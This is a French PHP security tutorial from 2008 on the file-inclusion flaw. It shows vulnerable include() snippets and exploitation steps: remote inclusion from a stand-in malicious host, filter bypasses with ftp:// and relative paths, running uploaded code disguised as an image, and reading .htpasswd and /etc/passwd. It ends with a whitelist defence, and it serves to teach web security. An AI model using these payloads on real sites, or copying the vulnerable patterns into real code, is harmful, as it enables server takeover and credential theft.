La faille include

Auteur : palkeo
Créé le : le 04/10/2008 à 15:09
Visualisations : 2907
Ce tutoriel est composé des parties suivantes :

Introduction

Cette faille repose sur la négligence de certains Webmasters qui permettent a l'utilisateur d'inclure n'importe quel fichier avec la fonction include() de PHP, et donc d'afficher n'importe quoi (faille XSS), ou d'exécuter n'importe quel code PHP sur le serveur O_o

Présentation de la faille include

De nombreux sites, afin de gagner du temps, organisent le code avec une page, généralement index.php, qui contient le code de base de la page. Ensuite, on passe à cette page le nom d'une page à inclure, grâce à la fonction include() de PHP.

Par exemple, on aurait "index.php?page=livredor.php", ou encore "index.php?page=forum.php"
Ou, pour un script plus élaboré : "index.php?mod=livredor", et "index.php?mod=forum"
Bref, ce genre d'architecture laisse penser que le fonctionnement est bien celui décrit ici.

Problème : il est possible de modifier cette variable pour inclure n'importe quel fichier !

Par exemple, si je met "index.php?page=http://www.google.com", le script va inclure la page d'accueil de google :/
Pire encore, si j'inclue un fichier spécialement préparé contenant du code PHP, ce code sera éxecuté par le serveur, et il sera donc possible d'accéder au serveur, à la base de données du site, voire même de modifier des pages O_o

Exploitation

Cette faille peut être exploitée de très nombreuses manières.

Tout d'abord, il faut se donner une idée du fonctionnement du script. Par exemple, si les pages ressemblent à "index.php?mod=forum" ou "index.php?mod=forum.php", ça veut dire que le script n'aura pas le même fonctionnement.
Voiçi trois exemple de scripts d'inclusion faillibles, mais différents :
Code : PHP
if(isset($_GET['page']))
 include($_GET['page']);
else
 include('accueil.php');
Code : PHP
if(isset($_GET['page']))
 include($_GET['page'] . '.inc');
else
 include('accueil.php');
Code : PHP
if(isset($_GET['page']))
 include('includes/' . $_GET['page']);
else
 include('accueil.php');

Ainsi, si on veut inclure http://www.mechant-site.com/mechante-page.php on ne procédera pas pareil pour les trois modes de fonctionnement décris ci-dessus.
Si le script prend pour argument "mod=forum.php", on peut faire une vérification très simple : il suffit de regarder si la page forum.php existe à la racine du site en tapant son URL.
Si elle existe, ça veut dire que le script inclue directement cette page, alors que si elle n'existe pas, la page doit être stockée dans un sous-dossier.
Si la page existe, il suffit d'envoyer comme argument au script "mod=http://www.mechant-site.com/mechante-page.php"
Pour obtenir des renseignements, vous pouvez aussi essayer de taper n'importe quoi, et d'analyser le message d'erreur renvoyé par PHP, à condition bien sûr que le script d'inclusion ne fasse aucune vérifications.

Il peut aussi exister des scripts vérifiant que la page inclue ne commande pas par http:// afin d'éviter l'inclusion de fichiers d'autres sites.
Mais cette vérification ne bloque pas tout : il reste possible d'utiliser des url relatives, ou même d'utiliser le protocole ftp:// à la place de http://, ce qui laisse exactement les même possibilités.
Par exemple, admettons que nous soyons dans le cas du dernier script d'exemple, et que le site permette aussi d'uploader des fichiers : il suffit alors d'uploader un fichier contenant du code PHP, même si le fichier a une extension d'image.
Ensuite, par exemple, si le fichier est stocké dans /upload/monimage.jpg, il suffira d'aller sur :
index.php?page=../upload/monimage.jpg
Et le code écrit dans le fichier uploadé sera exécuté.

Il existe même une technique permettant d'afficher les mots de passe d'éventuels répertoires protégés par des fichiers .htacces et .htpasswd.
Pour cela, il suffit d'inclure le fichier .htpasswd du répertoire protégé, et son contenu sera affiché. Vous aurez ainsi la liste des login valides.
Notez qu'il est possible que les mots de passe soient cryptés. Dans ce cas, vous n'avez plus qu'a utiliser un logiciel de bruteforce ou d'attaque par dictionnaire comme John The Ripper.

Protection

Si votre site utilise cette technique pour inclure ses pages, il suffit simplement de vérifier systématiquement la page passée en paramètres.
Et il ne suffit pas de vérifier seulement si la page ne contient pas http://, car cette petite vérification est trop simplement contournable, comme nous l'avons vus.

Voiçi une manière simple de faire un include sécurisé :
Code : PHP
$pages_a_inclure = array('index','page1','page2','page3','forums','livredor');
if(isset($_GET['page']) && in_array($_GET['page'],$pages_a_inclure))
 include($_GET['page'] . '.php');
else
 include('accueil.php');
Il suffit simplement de tenir le tableau $pages_a_inclure à jour, et ainsi, seule les pages se trouvant dans ce tableau pourront être inclues.

Variante

Ce type de faille existe aussi pour des fonctions affichant le contenu d'un fichier :
Si le nom du fichier est défini par le client, et qu'aucune vérification n'est effectuée, il sera très facile d'afficher les fichiers du serveur.
Et pire, grâce au protocole file:// il est possible d'afficher n'importe quel fichier du disque dur !
Par exemple, sur un serveur Linux, file:///etc/passwd affichera le contenu de /etc/passwd
Sous Windows, la même chose est possible : file://C:/windows/fichier.txt affichera C:\windows\fichier.txt
Pour vous protéger, la meilleure solution reste là encore un système de liste blanche.

Conclusion

Ainsi, la faille include peut-être très dangereuse, à condition bien sur que votre serveur utilise cette méthode d'inclusion.
Toutefois, elle reste relativement facile à prévenir en utilisant un système de liste blanche, qui n'autorise que certaines pages.
Pensez aussi à faire des vérifications si vous utilisez d'autres fonctions d'ouverture de fichiers ;)